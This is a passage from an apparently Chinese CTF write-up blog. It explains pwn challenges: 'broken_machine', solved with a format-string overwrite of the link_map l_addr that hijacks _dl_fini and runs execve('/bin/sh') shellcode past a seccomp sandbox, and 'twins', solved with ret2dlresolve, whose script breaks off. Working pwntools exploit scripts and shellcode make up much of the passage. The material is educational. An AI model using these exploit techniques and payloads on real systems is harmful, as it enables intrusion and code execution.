class="string">&#x27;gets&#x27;</span>]))</span><br><span class="line">sleep(<span class="number">0.1</span>)</span><br><span class="line">io.send(p64(libcbase+libc.symbols[<span class="string">&#x27;system&#x27;</span>]))</span><br><span class="line">sleep(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;good job!\n&#x27;</span>)</span><br><span class="line">io.send(<span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line">sleep(<span class="number">1</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;/bin0sh&#x27;</span>)</span><br><span class="line">sleep(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h2 id="broken-machine"><a href="#broken-machine" class="headerlink" title="broken_machine"></a>broken_machine</h2><p>Wings说这道题非预期了，预期解是在沙箱下硬搞，想想就害怕😰，这里写写我的非预期，非预期的地方是在进入沙箱之前就通过signal异常处理来退出，进入<code>_dl_fini</code>执行对应指针，然后<code>execve(&quot;/bin/sh\x00&quot;, 0, 0)</code></p><p><code>checksec</code>看到只没开PIE，IDA打开看到</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;Hi there! I&#x27;ve made a shellcode machine. Could you please input you code to test my machine? Thank you!&quot;</span>);</span><br><span class="line">signal(<span class="number">11</span>, handler);</span><br><span class="line">fgets(buf, <span class="number">1024</span>, <span class="built_in">stdin</span>);</span><br><span class="line">v4 = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt;= <span class="number">1023</span>; ++i )</span><br><span class="line">  v4 += buf[i] == <span class="number">110</span>;</span><br><span class="line"><span class="keyword">if</span> ( v4 &lt;= <span class="number">1</span> )</span><br><span class="line">  machine();</span><br></pre></td></tr></table></figure></div><p><code>signal(11, handler);</code>信号处理函数会在程序执行产生<code>SIGSEGV</code>信号即异常时会进入handler函数进行退出。后面的for循环会检查读入了几个n，最多只能读入一个n</p><p>然后看<code>machine()</code>函数</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">__int64 <span class="title function_">machine</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> *s; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  s = (<span class="type">char</span> *)mmap((<span class="type">void</span> *)<span class="number">0x1000</span>, <span class="number">0x1000u</span>LL, <span class="number">7</span>, <span class="number">34</span>, <span class="number">-1</span>, <span class="number">0LL</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Prepare code...&quot;</span>);</span><br><span class="line">  <span class="built_in">sprintf</span>(s, buf);</span><br><span class="line">  sleep(<span class="number">1u</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Setup sandbox...&quot;</span>);</span><br><span class="line">  mprotect(s, <span class="number">0x1000u</span>LL, <span class="number">5</span>);</span><br><span class="line">  sandbox();</span><br><span class="line">  sleep(<span class="number">1u</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Finished!&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> MEMORY[<span class="number">0x1000</span>]();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>mmap会分配一片可读可写可执行的区域，地址为0x1000，但是要注意的是在一般在linux系统中mmap可分配的最低地址为0x10000<code>cat /proc/sys/vm/mmap_min_addr可以查看系统mmap可申请最低内存，一般为65536</code>（参考文章：<a class="link"   href="http://richardustc.github.io/2013-05-21-2013-05-21-min-mmap-addr.html" >mmap x86小于0x10000的虚地址 | Richard’s Blog (richardustc.github.io)<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a>），因此s的地址实际上是0x10000，所以最后的shellcode跳转实际上是非法内存访问，会直接跳转到信号处理函数</p><p>sprintf这里是一个格式化字符串漏洞，后面沙箱会限制常用的一些系统调用，如下</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"> line  CODE  JT   JF      K</span><br><span class="line">=================================</span><br><span class="line"> <span class="number">0000</span>: <span class="number">0x20</span> <span class="number">0x00</span> <span class="number">0x00</span> <span class="number">0x00000004</span>  A = arch</span><br><span class="line"> <span class="number">0001</span>: <span class="number">0x15</span> <span class="number">0x00</span> <span class="number">0x14</span> <span class="number">0xc000003e</span>  <span class="keyword">if</span> (A != ARCH_X86_64) <span class="keyword">goto</span> <span class="number">0022</span></span><br><span class="line"> <span class="number">0002</span>: <span class="number">0x20</span> <span class="number">0x00</span> <span class="number">0x00</span> <span class="number">0x00000000</span>  A = sys_number</span><br><span class="line"> <span class="number">0003</span>: <span class="number">0x35</span> <span class="number">0x12</span> <span class="number">0x00</span> <span class="number">0x40000000</span>  <span class="keyword">if</span> (A &gt;= <span class="number">0x40000000</span>) <span class="keyword">goto</span> <span class="number">0022</span></span><br><span class="line"> <span class="number">0004</span>: <span class="number">0x15</span> <span class="number">0x11</span> <span class="number">0x00</span> <span class="number">0x0000003b</span>  <span class="keyword">if</span> (A == execve) <span class="keyword">goto</span> <span class="number">0022</span></span><br><span class="line"> <span class="number">0005</span>: <span class="number">0x15</span> <span class="number">0x10</span> <span class="number">0x00</span> <span class="number">0x00000142</span>  <span class="keyword">if</span> (A == execveat) <span class="keyword">goto</span> <span class="number">0022</span></span><br><span class="line"> <span class="number">0006</span>: <span class="number">0x15</span> <span class="number">0x0f</span> <span class="number">0x00</span> <span class="number">0x00000002</span>  <span class="keyword">if</span> (A == open) <span class="keyword">goto</span> <span class="number">0022</span></span><br><span class="line"> <span class="number">0007</span>: <span class="number">0x15</span> <span class="number">0x0e</span> <span class="number">0x00</span> <span class="number">0x00000101</span>  <span class="keyword">if</span> (A == openat) <span class="keyword">goto</span> <span class="number">0022</span></span><br><span class="line"> <span class="number">0008</span>: <span class="number">0x15</span> <span class="number">0x0d</span> <span class="number">0x00</span> <span class="number">0x00000000</span>  <span class="keyword">if</span> (A == read) <span class="keyword">goto</span> <span class="number">0022</span></span><br><span class="line"> <span class="number">0009</span>: <span class="number">0x15</span> <span class="number">0x0c</span> <span class="number">0x00</span> <span class="number">0x00000013</span>  <span class="keyword">if</span> (A == readv) <span class="keyword">goto</span> <span class="number">0022</span></span><br><span class="line"> <span class="number">0010</span>: <span class="number">0x15</span> <span class="number">0x0b</span> <span class="number">0x00</span> <span class="number">0x00000011</span>  <span class="keyword">if</span> (A == pread64) <span class="keyword">goto</span> <span class="number">0022</span></span><br><span class="line"> <span class="number">0011</span>: <span class="number">0x15</span> <span class="number">0x0a</span> <span class="number">0x00</span> <span class="number">0x00000127</span>  <span class="keyword">if</span> (A == preadv) <span class="keyword">goto</span> <span class="number">0022</span></span><br><span class="line"> <span class="number">0012</span>: <span class="number">0x15</span> <span class="number">0x09</span> <span class="number">0x00</span> <span class="number">0x00000039</span>  <span class="keyword">if</span> (A == fork) <span class="keyword">goto</span> <span class="number">0022</span></span><br><span class="line"> <span class="number">0013</span>: <span class="number">0x15</span> <span class="number">0x08</span> <span class="number">0x00</span> <span class="number">0x0000003a</span>  <span class="keyword">if</span> (A == vfork) <span class="keyword">goto</span> <span class="number">0022</span></span><br><span class="line"> <span class="number">0014</span>: <span class="number">0x15</span> <span class="number">0x07</span> <span class="number">0x00</span> <span class="number">0x00000029</span>  <span class="keyword">if</span> (A == socket) <span class="keyword">goto</span> <span class="number">0022</span></span><br><span class="line"> <span class="number">0015</span>: <span class="number">0x15</span> <span class="number">0x06</span> <span class="number">0x00</span> <span class="number">0x0000002a</span>  <span class="keyword">if</span> (A == connect) <span class="keyword">goto</span> <span class="number">0022</span></span><br><span class="line"> <span class="number">0016</span>: <span class="number">0x15</span> <span class="number">0x05</span> <span class="number">0x00</span> <span class="number">0x0000002b</span>  <span class="keyword">if</span> (A == accept) <span class="keyword">goto</span> <span class="number">0022</span></span><br><span class="line"> <span class="number">0017</span>: <span class="number">0x15</span> <span class="number">0x04</span> <span class="number">0x00</span> <span class="number">0x0000009d</span>  <span class="keyword">if</span> (A == prctl) <span class="keyword">goto</span> <span class="number">0022</span></span><br><span class="line"> <span class="number">0018</span>: <span class="number">0x15</span> <span class="number">0x03</span> <span class="number">0x00</span> <span class="number">0x00000065</span>  <span class="keyword">if</span> (A == ptrace) <span class="keyword">goto</span> <span class="number">0022</span></span><br><span class="line"> <span class="number">0019</span>: <span class="number">0x15</span> <span class="number">0x02</span> <span class="number">0x00</span> <span class="number">0x00000009</span>  <span class="keyword">if</span> (A == mmap) <span class="keyword">goto</span> <span class="number">0022</span></span><br><span class="line"> <span class="number">0020</span>: <span class="number">0x15</span> <span class="number">0x01</span> <span class="number">0x00</span> <span class="number">0x0000000a</span>  <span class="keyword">if</span> (A == mprotect) <span class="keyword">goto</span> <span class="number">0022</span></span><br><span class="line"> <span class="number">0021</span>: <span class="number">0x06</span> <span class="number">0x00</span> <span class="number">0x00</span> <span class="number">0x7fff0000</span>  <span class="keyword">return</span> ALLOW</span><br><span class="line"> <span class="number">0022</span>: <span class="number">0x06</span> <span class="number">0x00</span> <span class="number">0x00</span> <span class="number">0x00000000</span>  <span class="keyword">return</span> KILL</span><br></pre></td></tr></table></figure></div><p>可以看到基本常用的getshell，orw的都被禁用了</p><p>然后可利用的漏洞就只有sprintf的格式化字符串了，而且还只能用一次%n，题目后面给出了hint<code>栈里面怎么会有ld地址，这是什么</code>，然后调试到栈部分，发现了两个ld地址</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">0x7ffeeaf26778 —▸ 0x7f6948f8f040 (_rtld_global) —▸ 0x7f6948f902e0 ◂— 0x0</span><br><span class="line">0x7ffeeaf267e0 —▸ 0x7f6948f902e0 ◂— 0x0</span><br></pre></td></tr></table></figure></div><p>一个是<code>_rtld_global</code>结构体的地址，一个是<code>_rtld_global</code>结构体的<code>link_map</code>地址，可以都用%n试试，然后就能发现改第二个的时候，程序在<code>exit()</code>的时候会跳转到一个奇怪的地址，比如我们修改它为0x10，调试时在执行sprintf后发出<code>signal SIGSEGV</code>后进入信号处理发现程序崩溃</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line">0x0000000000000080 in ?? ()</span><br><span class="line">LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA</span><br><span class="line">──────────────────────[ REGISTERS / show-flags off / show-compact-regsoff]──────────────────────</span><br><span class="line">*RAX  0x403d90 (_DYNAMIC+8) ◂— 0x80</span><br><span class="line">*RBX  0x7f2e26821040 (_rtld_global) —▸ 0x7f2e268222e0 ◂— 0x10</span><br><span class="line"> RCX  0x1</span><br><span class="line">*RDX  0x1</span><br><span class="line">*RDI  0x7f2e26821a48 (_rtld_global+2568) ◂— 0x0</span><br><span class="line">*RSI  0x403d90 (_DYNAMIC+8) ◂— 0x80</span><br><span class="line">*R8   0x7ffdd880a720 —▸ 0x7f2e268222e0 ◂— 0x10</span><br><span class="line">*R9   0x20</span><br><span class="line"> R10  0x0</span><br><span class="line">*R11  0x7ffdd880a650 —▸ 0x7f2e268222e0 ◂— 0x10</span><br><span class="line">*R12  0x0</span><br><span class="line">*R13  0x7f2e26821a48 (_rtld_global+2568) ◂— 0x0</span><br><span class="line">*R14  0x7ffdd880a720 —▸ 0x7f2e268222e0 ◂— 0x10</span><br><span class="line">*R15  0x7f2e268222e0 ◂— 0x10</span><br><span class="line">*RBP  0x7ffdd880a7a0 ◂— 0x0</span><br><span class="line">*RSP  0x7ffdd880a718 —▸ 0x7f2e267ed24e (_dl_fini+526) ◂— mov rax, qword ptr [rbp - 0x38]</span><br><span class="line">*RIP  0x80</span><br><span class="line">───────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────</span><br><span class="line">Invalid address 0x80</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">──────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────</span><br><span class="line">00:0000│ rsp    0x7ffdd880a718 —▸ 0x7f2e267ed24e (_dl_fini+526) ◂— mov rax, qword ptr [rbp - 0x38]</span><br><span class="line">01:0008│ r8 r14 0x7ffdd880a720 —▸ 0x7f2e268222e0 ◂— 0x10</span><br><span class="line">02:0010│        0x7ffdd880a728 —▸ 0x7f2e26822890 —▸ 0x7ffdd89e7000 ◂— jg 0x7ffdd89e7047</span><br><span class="line">03:0018│        0x7ffdd880a730 —▸ 0x7f2e267e54d0 —▸ 0x7f2e265ab000 ◂— 0x3010102464c457f</span><br><span class="line">04:0020│        0x7ffdd880a738 —▸ 0x7f2e26821af0 (_rtld_global+2736) —▸ 0x7f2e267e7000 ◂— 0x3010102464c457f</span><br><span class="line">05:0028│        0x7ffdd880a740 ◂— 0x1efe9660</span><br><span class="line">06:0030│        0x7ffdd880a748 —▸ 0x7ffdd880a740 ◂— 0x1efe9660</span><br><span class="line">07:0038│        0x7ffdd880a750 —▸ 0x7ffdd880a740 ◂— 0x1efe9660</span><br><span class="line">──────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────</span><br><span class="line"> ► f 0             0x80</span><br><span class="line">   f 1   0x7f2e267ed24e _dl_fini+526</span><br><span class="line">   f 2   0x7f2e265f0495 __run_exit_handlers+261</span><br><span class="line">   f 3   0x7f2e265f0610 on_exit</span><br><span class="line">   f 4         0x4012c3 sandbox</span><br><span class="line">   f 5   0x7f2e265ed520 __restore_rt</span><br><span class="line">   f 6         0x4013d1 machine+95</span><br><span class="line">   f 7         0x40150a main+227</span><br></pre></td></tr></table></figure></div><p>可以看到时<code>_dl_fini</code>中调用了函数指针，该函数调用部分源码如下</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; nmaps; ++i)</span><br><span class="line">   &#123;</span><br><span class="line">     <span class="class"><span class="keyword">struct</span> <span class="title">link_map</span> *<span class="title">l</span> =</span> maps[i];</span><br><span class="line"></span><br><span class="line">     <span class="keyword">if</span> (l-&gt;l_init_called)</span><br><span class="line">&#123;</span><br><span class="line">  ...省略</span><br><span class="line"></span><br><span class="line">      <span class="comment">/* First see whether an array is given.  */</span></span><br><span class="line">      <span class="keyword">if</span> (l-&gt;l_info[DT_FINI_ARRAY] != <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">  ElfW(Addr) *<span class="built_in">array</span> =</span><br><span class="line">    (ElfW(Addr) *) (l-&gt;l_addr</span><br><span class="line">    + l-&gt;l_info[DT_FINI_ARRAY]-&gt;d_un.d_ptr);</span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> i = (l-&gt;l_info[DT_FINI_ARRAYSZ]-&gt;d_un.d_val</span><br><span class="line">    / <span class="keyword">sizeof</span> (ElfW(Addr)));</span><br><span class="line">  <span class="keyword">while</span> (i-- &gt; <span class="number">0</span>)</span><br><span class="line">    ((<span class="type">fini_t</span>) <span class="built_in">array</span>[i]) ();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>可以看到我们要调用<code>((fini_t) array[i])()</code>，就得先弄清前面给array赋值和给i赋值的部分，因此来看<code>link_map</code>结构体</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">link_map</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    ElfW(Addr) l_addr;        <span class="comment">/* Difference between the address in the ELF</span></span><br><span class="line"><span class="comment">                   file and the addresses in memory.  */</span></span><br><span class="line">    <span class="type">char</span> *l_name;        <span class="comment">/* Absolute file name object was found in.  */</span></span><br><span class="line">    ElfW(Dyn) *l_ld;        <span class="comment">/* Dynamic section of the shared object.  */</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">link_map</span> *<span class="title">l_next</span>, *<span class="title">l_prev</span>;</span> <span class="comment">/* Chain of loaded objects.  */</span></span><br><span class="line"> </span><br><span class="line">     <span class="comment">/* All following members are internal to the dynamic linker.</span></span><br><span class="line"><span class="comment">       They may change without notice.  */</span></span><br><span class="line"> </span><br><span class="line">    <span class="comment">/* This is an element which is only ever different from a pointer to</span></span><br><span class="line"><span class="comment">       the very same copy of this type for ld.so when it is used in more</span></span><br><span class="line"><span class="comment">       than one namespace.  */</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">link_map</span> *<span class="title">l_real</span>;</span></span><br><span class="line">    ......</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure></div><p>可以看到第一个成员就是<code>l_addr</code>，也就是我们修改的部分。然后调试查看<code>l-&gt;l_info[DT_FINI_ARRAY]-&gt;d_un.d_ptr</code>和<code>l-&gt;l_info[DT_FINI_ARRAYSZ]-&gt;d_un.d_val</code>的值，其中<code>DT_FINI_ARRAY = 26</code> <code>DT_FINI_ARRAYSZ = 28</code>，而<code>d_un</code>为一个共用体，有两个成员<code>d_ptr和d_val</code>。</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">$<span class="number">5</span> = &#123;</span><br><span class="line">  l_addr = <span class="number">16</span>,</span><br><span class="line">  l_name = <span class="number">0x7fc3d13e2888</span> <span class="string">&quot;&quot;</span>,</span><br><span class="line">  l_ld = <span class="number">0x403d88</span>,</span><br><span class="line">  l_next = <span class="number">0x7fc3d13e2890</span>,</span><br><span class="line">  ...</span><br><span class="line">  l_info = &#123;<span class="number">0x0</span>, <span class="number">0x403d88</span>, <span class="number">0x403e68</span>, <span class="number">0x403e58</span>, <span class="number">0x0</span>, <span class="number">0x403e08</span>, <span class="number">0x403e18</span>, <span class="number">0x403e98</span>, <span class="number">0x403ea8</span>, <span class="number">0x403eb8</span>, <span class="number">0x403e28</span>, <span class="number">0x403e38</span>, <span class="number">0x403d98</span>, <span class="number">0x403da8</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x403e78</span>, <span class="number">0x403e48</span>, <span class="number">0x0</span>, <span class="number">0x403e88</span>, <span class="number">0x403ed8</span>, <span class="number">0x403db8</span>, <span class="number">0x403dd8</span>, <span class="number">0x403dc8</span>, <span class="number">0x403de8</span>, <span class="number">0x0</span>, <span class="number">0x403ec8</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x403ef8</span>, <span class="number">0x403ee8</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x403ed8</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x403f08</span>, <span class="number">0x0</span> &lt;repeats <span class="number">25</span> times&gt;, <span class="number">0x403df8</span>&#125;,</span><br><span class="line">  ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>因此<code>l-&gt;l_info[DT_FINI_ARRAY]-&gt;d_un.d_ptr</code>为<code>0x403d78</code>，<code>l-&gt;l_info[DT_FINI_ARRAYSZ]-&gt;d_un.d_val</code>为<code>8</code>，最后调用位置为<code>0x403d90</code>所指向的地址<code>0x80</code>（其实做的时候直接对比下两次不同输入的暂停地址就行了，不需要分析这么多</p><p>因此我们可以通过格式化字符串修改偏移到bss段上buf位置，就可以控制指向任意位置，直接指向shellcode位置然后顺便在sprintf中触发异常信号处理绕过沙箱getshell。（在写shellcode的时候应该注意不要在shellcode中出现\0，因为sprintf会进行0截断，要赋值0直接异或就行了）</p><p>exp:</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context(arch=<span class="string">&#x27;x86_64&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">#io = remote(&#x27;localhost&#x27;,34657)</span></span><br><span class="line">io = process(<span class="string">&#x27;./broken_machine&#x27;</span>)</span><br><span class="line"></span><br><span class="line">attach(io, <span class="string">&#x27;b machine&#x27;</span>)</span><br><span class="line">pause()</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;Hi there! I\&#x27;ve made a shellcode machine. Could you please input you code to test my machine? Thank you!\n&#x27;</span>)</span><br><span class="line">shellcode = <span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">    mov rax, 0xff978cd091969dd0</span></span><br><span class="line"><span class="string">    xor rax, -1</span></span><br><span class="line"><span class="string">    push rax</span></span><br><span class="line"><span class="string">    mov rdi, rsp</span></span><br><span class="line"><span class="string">    mov rsi, r12</span></span><br><span class="line"><span class="string">    mov rdx, r12</span></span><br><span class="line"><span class="string">    mov rax, r12</span></span><br><span class="line"><span class="string">    mov al, 0x3b</span></span><br><span class="line"><span class="string">    syscall</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line">shellcode = asm(shellcode)</span><br><span class="line">io.sendline(<span class="string">b&#x27;%1188c%35$hn&#x27;</span>+shellcode.ljust(<span class="number">0xf0</span>, <span class="string">b&#x27;A&#x27;</span>)+<span class="string">b&#x27;%100000c&#x27;</span>+p64(<span class="number">0x104a4</span>))</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h2 id="twins"><a href="#twins" class="headerlink" title="twins"></a>twins</h2><p><code>checksec</code>看到只开了NX，程序是一个简单的栈溢出程序，除此之外还给出了一个py文件。</p><p>不考虑py文件的话直接ret2libc就可以解决，但那是不可能的</p><p>观察python文件种如下函数</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">while</span> a1 <span class="keyword">and</span> a2:</span><br><span class="line">    line = sys.stdin.buffer.readline()</span><br><span class="line">    out1, a1 = interact(p1, line)</span><br><span class="line">    out2, a2 = interact(p2, line)</span><br><span class="line">    <span class="keyword">if</span> out1 != out2:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;Output conflict!&quot;</span>, flush=<span class="literal">True</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&#x27;process 1: <span class="subst">&#123;out1&#125;</span>&#x27;</span>, flush=<span class="literal">True</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&#x27;process 2: <span class="subst">&#123;out2&#125;</span>&#x27;</span>, flush=<span class="literal">True</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(out1[:-<span class="number">1</span>].decode(), flush=<span class="literal">True</span>)</span><br></pre></td></tr></table></figure></div><p>远程会同时运行p1，p2两个进程，上述函数表示程序的输出只能一致，否则直接结束，因此考虑到ret2libc必须要泄露libc，而两个程序的libc基址由于存在ASLR机制，因此不可能一致。所以我们可以把这个程序看作一个无输出的栈溢出程序，考虑ret2dlresolve，构造的时候发现工具构造打不通，所以网上随便找个模板然后改下某些值直接用（主要还是因为我是langou，不想自己写</p><p>exp：</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.arch = <span class="string">&#x27;amd64&#x27;</span></span><br><span class="line"></span><br><span class="line">p = process(<span class="string">&#x27;./twins&#x27;</span>)</span><br><span class="line"><span class="comment">#p = remote(&quot;localhost&quot;,43677)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./twins&#x27;</span>)</span><br><span class="line">libc=  ELF(<span class="string">&#x27;./libc-2.31.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#attach(p)</span></span><br><span class="line"><span class="comment">#pause()</span></span><br><span 